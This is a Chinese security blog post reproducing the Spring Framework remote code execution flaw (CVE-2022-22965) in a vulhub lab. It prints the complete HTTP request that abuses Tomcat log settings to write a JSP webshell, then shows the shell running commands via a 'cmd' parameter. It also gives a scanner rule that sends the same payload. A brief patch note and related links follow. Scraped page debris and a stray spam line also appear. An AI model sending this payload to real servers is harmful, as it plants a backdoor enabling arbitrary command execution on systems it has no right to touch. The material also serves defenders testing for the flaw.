<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Spring Framework遠程代碼執行漏洞復現

    上官雨寶2022-07-20 17:03:00

    Spring Framework遠程代碼執行漏洞復現

    0x01 漏洞描述

    Spring framework 是Spring 里面的一個基礎開源框架,其目的是用于簡化 Java 企業級應用的開發難度和開發周期,2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊

    0x02 漏洞影響范圍

    Spring Framework < 5.3.18

    Spring Framework < 5.2.20

    0x03 漏洞利用條件

    JDK9或以上版本系列

    Spring框架或衍生的SpringBoot等框架,版本小于v5.3.18或v5.2.20

    Spring JavaBean表單參數綁定需要滿足一定條件

    部署在Tomcat容器中,且日志記錄功能開啟(默認狀態)

    0x04漏洞復現

    通過vulhub拉取

    docker-compose up -d
    

    訪問演示頁面

    http://your-ip:8080/?name=Bob&age=25
    

    訪問對應的controller,這里設置了日志的文件名、文件路徑、以及后綴名,將后綴名設置為.jsp,然后不斷地寫入執行命令的jsp代碼,從而實現webshell的寫入,還需要補充cookie。

    GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
    Host: ip:8080
    Accept-Encoding: gzip, deflate
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Connection: close
    suffix: %>//
    c1: Runtime
    c2: <%
    DNT: 1
    

    然后,訪問剛寫入的JSP Webshell,執行任意命令

    http://ip:8080/tomcatwar.jsp?pwd=j&cmd=id
    

    0x05檢測poc規則編寫

    params: []
    name: Spring 遠程命令執行漏洞(CVE-2022-22965)
    set: {}
    rules:
    - method: GET
      path: '/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= '
      headers:
        DNT: "1"
        c1: Runtime
        c2: <%
        suffix: '%>//'
      body: ""
      search: ""
      followredirects: false
      expression: response.status == 200
    - method: GET
      path: /tomcatwar.jsp?pwd=j&cmd=id
      headers: {}
      body: ""
      search: ""
      followredirects: false
      expression: response.status == 200 && response.body.bcontains(b"uid")
    groups: {}
    detail:
      author: ""
      links: []
      description: ""
      version: ""
    

    0x06漏洞修復

    1、官方已發布漏洞補丁及修復版本,請評估業務是否受影響后,酌情升級至安全版本。

    0x07 參考

    https://blog.csdn.net/huangyongkang666/article/details/124187398
    

    文章轉自公眾號: Tide安全團隊

    漏洞framework
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    2022年5月11日, VMware發布安全公告,修復了多個存在于Spring Framework中的中危漏洞
    漏洞及滲透練習平臺 數據庫注入練習平臺 花式掃描器 信息搜集工具 WEB工具 windows域滲透工具 漏洞利用及攻擊框架 漏洞POC&EXP 中間人攻擊及釣魚 密碼pj 二進制及代碼分析工具 EXP編寫框架及工具 隱寫相關工具 各類安全資料 各類CTF資源 各類編程資源 Python
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    一個內網安全攻防的知識倉庫
    數字化時代,軟件無處不在。軟件已經成為支撐社會正常運轉的最基本元素之一,軟件的安全性問題也正在成為當今社會的根本性、基礎性問題。隨著軟件產業的快速發展,軟件供應鏈也越發復雜多元,復雜的軟件供應鏈會引入一系列的安全問題,導致信息系統的整體安全防護難度越來越大。
    【最新漏洞預警】WordPress Redux Framework CVE-2021-38314信息泄露漏洞影響全球數百萬網站。
    Spring framework 是Spring 里面的一個基礎開源框架,其目的是用于簡化 Java 企業級應用的開發難度和開發周期,2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊
    1. 通告信息 近日,安識科技A-Team團隊監測到一則Spring Framework 拒絕服務漏洞的信息,當前官方已發布升級補丁以修復漏洞。 對此,安識科技建議廣大用戶及時升級到安全版本,并做好資產自查以及預防工作,以免遭受黑客攻擊。 2. 漏洞概述 CVE-2022-22950 該漏洞是由于 Spring Framework 對 SPEL 表達式處理不當,攻擊者可利用該漏洞
    利用此文所提供的信息而造成的直接或間接后果和損失,均由使用者本人負責。烏鴉安全擁有對此文章的修改、刪除和解釋權限,如轉載或傳播此文章,需保證文章的完整性,未經允許,禁止轉載!當Spring部署在JDK9及以上版本,遠程攻擊者可利用該漏洞寫入惡意代碼導致遠程代碼執行。
    上官雨寶
    是水水水水是
      亚洲 欧美 自拍 唯美 另类